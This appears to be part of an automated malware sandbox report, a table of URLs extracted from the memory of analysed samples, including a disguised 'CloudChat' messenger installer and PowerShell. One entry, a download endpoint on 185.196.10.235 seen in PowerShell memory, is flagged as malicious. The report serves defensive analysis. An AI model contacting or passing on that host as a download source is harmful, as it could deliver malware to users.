http://tools.ietf.org/html/rfc5297	LIccs3x2LZ.exe, 00000003.00000002.2144911928.000002BEAFD00000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://tools.ietf.org/html/rfc4880	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://tools.ietf.org/html/rfc3610	LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144314894.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142034829.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl4.digice	LIccs3x2LZ.exe, 00000000.00000003.2103164457.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.python.org/dev/peps/pep-0205/	LIccs3x2LZ.exe, 00000000.00000003.2097032481.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://www.cloudchat.com/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2379739469.0000000003106000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2376214723.00000000031D6000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://192.168.31.183:7890/crash.php/t?act=report	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://cloudchat.com	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://json.org	LIccs3x2LZ.exe, 00000003.00000003.2141161174.000002BEAD9D6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFA59000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144314894.000002BEAFA5A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	LIccs3x2LZ.exe, 00000003.00000002.2144107071.000002BEAF870000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141406242.000002BEAFAEB000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141681385.000002BEAFAF3000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://xspf.org/ns/0/	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/telegramdesktop/tdesktop	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://python.org/dev/peps/pep-0263/	LIccs3x2LZ.exe, 00000003.00000002.2146134292.00007FF8A8E0C000.00000002.00000001.01000000.00000004.sdmp	false		unknown
http://www.phreedom.org/md5)	CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://github.com/CloudChatdesktop/tdesktop/blob/master/LEGAL	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://core.telegram.org/api	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://schema.omg.org/spec/XMI/2.1	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://schema.omg.org/spec/XMI/2.0	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://www.tarsnap.com/scrypt/scrypt-slides.pdf	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144659289.000002BEAFB40000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144107071.000002BEAF870000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141367178.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142034829.000002BEAFA53000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFA59000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144418025.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144776150.000002BEAFC10000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144697803.000002BEAFB80000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144193370.000002BEAFA00000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144863063.000002BEAFCA0000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144295948.000002BEAFA54000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://core.CC.org/api	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudchat.com/4https://www.cloudchat.com/4https://www.cloudchat.com/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2141499805.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2147780152.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.cloudchat.commap1map0	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.daa.com.au/~james/dia-shape-ns	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://185.196.10.235:50001/download?name=	powershell.exe, 00000012.00000002.2674650655.00000218F91DE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.metalinker.org/	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143914577.000002BEAF630000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://twitter.com/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/CloudChatdesktop/tdesktop	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://192.168.31.183:7890/crash.php?act=query_report&apiid=%1&version=%2&dmp=%3&platform=%4	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/CloudChatdesktop/tdesktop/blob/master/LICENSE	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0Digitized	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://tools.ietf.org/html/rfc5297	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141406242.000002BEAFAEB000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141681385.000002BEAFAF3000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://bugreports.qt.io/Microsoft-IIS/4.Microsoft-IIS/5.Netscape-Enterprise/3.WebLogicRocket_q_recei	CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://www.ietf.org/rfc/rfc2898.txt	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.opengis.net/kml/2.2	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false		unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.rfc-editor.org/info/rfc7253	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cloudchat.com/0	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://instagram.com/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
